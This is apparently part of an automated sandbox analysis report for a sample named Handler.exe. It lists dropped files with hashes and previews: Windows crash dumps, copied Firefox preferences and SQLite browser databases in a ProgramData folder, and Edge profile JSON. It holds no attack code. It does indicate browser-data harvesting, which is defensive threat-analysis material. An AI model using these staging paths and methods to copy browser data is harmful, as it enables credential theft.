Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.1.2.6.9.4.8.1.8.4.2.0.5.3.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.1.2.6.9.4.8.2.3.2.6.4.3.3.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.d.7.f.f.6.5.3.-.1.f.4.d.-.4.2.e.7.-.8.0.4.7.-.9.f.0.3.d.f.e.3.9.0.b.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.c.a.9.3.4.3.9.-.4.c.1.5.-.4.0.3.3.-.9.4.e.a.-.d.a.0.e.d.3.1.9.f.b.a.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.H.a.n.d.l.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.H.a.n.d.l.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.b.c.-.0.0.0.1.-.0.0.1.4.-.1.0.c.3.-.a.d.d.c.e.f.6.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.7.6.0.a.9.d.a.9.4.f.1.f.3.a.d.5.1.8.8.d.7.a.e.e.2.1.7.d.4.7.0.0.0.0.0.0.0.0.!.0.0.0.0.0.4.0.4.3.7.d.8.9.8.c.c.f.6.1.7.5.0.6.6.1.7.f.9.d.1.2.b.3.6.4.a.e.8.7.8.4.7.2.7.!.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD1ED.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Jan 13 19:18:02 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	152562
Entropy (8bit):	3.772188283470926
Encrypted:	false
SSDEEP:	1536:i3pN4uE2aOULTguRn29AVWpCDU30tTl2gLdxuBojRjV:iH4uEqULTguJfXRLRj
MD5:	796C684C6ED52B87F9AA0D232AFD57E9
SHA1:	3B653BC28AFF3D69BE93F20230976D5E39E0ACC6
SHA-256:	459235508926E47CF426D7977FE38CD1E72C20F39394E9A85B3312C69809745F
SHA-512:	40BA58B17072724C93454164C50FEA0B8AB14AFC712062DEFE552D19385446980168155A67182C480DCCD95ABE5825A4A94214AA2F00629892719E330A97E4DC
Malicious:	false
Preview:	MDMP..a..... ........f.g....................................$................/..........`.......8...........T...........($.../......................................................................................................eJ......P.......GenuineIntel............T............f.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD2D9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8368
Entropy (8bit):	3.689735483463462
Encrypted:	false
SSDEEP:	192:R6l7wVeJd/676YEIISUHHxgmfYVJgpr/89b3zsfOjdm:R6lXJF676YEHSUnxgmfYVJV3Yf5
MD5:	B4F28D25C8049ADC28E18DA4AA9F0D59
SHA1:	CC076296F2A83CDDB3D1C77FED41B1AFD47A9B09
SHA-256:	89B39E82E07ADEC073D5BCD525EABBEC0A4F526996D0443CE5426089FC9A7ED3
SHA-512:	AA7172DC8C4C9E67F75EE002D8231FC408CB35CD9A53C106E1EA4AD520204504583965AD38610B4F1C82CD4975BFA7F5A8EFC95624D721EC9773978DAC87B64C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.3.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD2F9.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4735
Entropy (8bit):	4.4301013175205854
Encrypted:	false
SSDEEP:	48:cvIwWl8zsyJg77aI96dWpW8VYL4Ym8M4JmdxPcf6FUMj+q8v1dxPcfuyUQgYMd:uIjfAI7Ys7VEJrfNkKKfXUQgYMd
MD5:	830E64DE2CFAEC41B8DBFD846DFA97C2
SHA1:	46F3D4506E0DFEBA08F55E3831609F918021DA41
SHA-256:	D8F9B4B28CEDB84A6C4496E8CBFA879B4F6434A0A0E9B364BAD747A755257A5A
SHA-512:	3CF5A9A0EFB13162E0981675DD32643D38C3658690AE1D6AF1BF12CC0092822790A56A7F46B72DB4EF2A3E490E994484194F173164EEF6C90BB6B30EA7D13C2E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="674540" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\tjw47\00zcb1

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\tjw47\9zcba1nym

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tjw47\cjm7g4euk

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tjw47\lfcjeu

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tjw47\ozcb1d

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tjw47\pzmgdj

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tjw47\sjekny

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265121458285183
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM5SAELyKOMq+8yC8F/YfU5m+OlTLVumy:Bq+n0J59ELyKOMq+8y9/OwN
MD5:	B15794CF5420088B6114D919B0990309
SHA1:	8FCCDED65EFE3C6D6E2ACA21AB9B03AFFCA5655F
SHA-256:	FFD629C8C86872498E4B49ECE793E4A0A711BC67C314E8DF5BFF7E6CE3C67E1F
SHA-512:	CEDE7DDBD4B7C3580B7C9A9D12F094F8A3A59874F84BCF0635182BE24B527CEA20F4879ED03A3898C43C58B8CD56F7210779E09BDBFFCC7F34B0D9A8A3BDB663
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tjw47\t2vkno

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08438200565341271
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v4U:51zkVmvQhyn+Zoz67NU
MD5:	F7EEE7B0D281E250D1D8E36486F5A2C3
SHA1:	309736A27E794672BD1BDFBAC69B2C6734FC25CE
SHA-256:	378DD46FE8A8AAC2C430AE8A7C5C1DC3C2A343534A64A263EC9A4F1CE801985E
SHA-512:	CE102A41CA4E2A27CCB27F415D2D69A75A0058BA0F600C23F63B89F30FFC982BA48336140714C522B46CC6D13EDACCE3DF0D6685D02844B8DB0AD3378DB9CABB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tjw47\zus26p

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\005f6450-fa1a-4631-8066-b5e50fcd2034.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.096171806781219
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBZwuVhDO6vP6O0g+aBXF3NPJA2TPDgbcGoup1Xl34:z/Ps+wsI7yOEi6n+aBX8chu3VlXr4CRg
MD5:	9D75A61C77F61E1DE1D725A988E799A5
SHA1:	A072941B52C0C008192AAB0FB234D7E39F5141BB
SHA-256:	2992D06EF0DD9959A46C8832FBC213FDEF1276EB34D3D996BDF2C86CD7CCF097
SHA-512:	F0E17763DCA14B4BBCDEC7BB3139AD34E0E4DA3561D56818FED5A7E1714D4944B511A256D1F413742C63938BB6ADCFDD37E5DAA02FE66287951FF551E8D1DD4F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\066e6420-51fe-4d90-a5d9-e79d8fc5becc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45879
Entropy (8bit):	6.090273536623116
Encrypted:	false
SSDEEP:	768:bMkbJ6eg6KzhXRLrD9s/C1uehDO6vP6O0g+aBXF3NPJA2TPDgbXsAv8CAokGoup4:bMk16zRRvD9sZ6n+aBX8XORokhu3VlXC
MD5:	986EEC9D3B9C8DCD6D8ABE4B9C06D8C3
SHA1:	527A7783E700BD86ACC4B7E4EF794882CBA35AA4
SHA-256:	122205C073A3C27088349AF79443B7D53D4C16EC95AE86E8FF64C43C3755AB6C
SHA-512:	F6F0B6972073B5380229EC1BBA7CBAB842AB9FE31A56D907EE2E801ADB80AC5F6AF21B37ED6A430DB72C57F42BD3315C9AEE4274E75D81AC3FF87B31EF6478A2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1736795910"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\38c264b0-3774-49b7-b8df-154c0f9c8e44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.09644805434059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB/wuVhDO6vP6O0g+aBXd4bf0FcFADNcGoup1Xl3j0:z/Ps+wsI7ynEs6n+aBXtchu3VlXr4CRg
MD5:	68D362AE2107BAE8155561EBC017C4BF
SHA1:	8A00A3D630670BC8F1714C8662BD94A23282DF25
SHA-256:	8284E497620E8EF7646D08E39D44151A484424E22FC4B77CD39E017FF46198AD
SHA-512:	7EA3FA875EF318F9F3736B5A2BED30977A1C7856DBA7A605A00DB3B6A0D807428D70EB931E75060F4455EBA8C9B10F847C9C30A9C7E1B7EAF92A2381D5944125
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\796c3939-f001-4530-8af2-2d2965ab4406.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45956
Entropy (8bit):	6.090211044720838
Encrypted:	false
SSDEEP:	768:bMkbJ6eg6KzhXRLr1os/C1uehDO6vP6O0g+aBX53NPJA2TPDgbXsAv8CAokGoup4:bMk16zRRv1osZ6n+aBXgXORokhu3VlXC
MD5:	E341C8A46F88EEBCA5DEE86A1B47C1FC
SHA1:	233D07EA4E8C12B76CA76E29012B6135E887AD27
SHA-256:	EEF4664CB4699597A080819455BC004D37487F9352D67E8371CA0E449E76D09B
SHA-512:	8652BF3C646FD090CBFD451B1FEB7A2F8272FAA3D5823C4319620240DC9983134082E241DE502F46D99872CD25B19B8B0232667832072429C47284E3A44D4B08
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1736795910"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7f86db9c-ad38-4b1b-a42e-214f3baddd4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45956
Entropy (8bit):	6.090210202713368
Encrypted:	false
SSDEEP:	768:bMkbJ6eg6KzhXRLr19s/C1uehDO6vP6O0g+aBX53NPJA2TPDgbXsAv8CAokGoup4:bMk16zRRv19sZ6n+aBXgXORokhu3VlXC
MD5:	DF0D87D38BA9E5C7B1249A3C0316D4CF
SHA1:	8BD86289BCC5B0EFF19288C72413A632A064722F
SHA-256:	F6EBBF96CF150A43806D69636592C8FFECA823B19C5103FE39C59026A90DCE0E
SHA-512:	31E6C2311BFA347CC7D04DCADA28B6CC281CF4186E17A036673C4C8D3587ABF2F8BA3D021D6E6F6976C2EA34D52239D8A0A2444F6645E97B378529F0DF297734
Malicious:	false
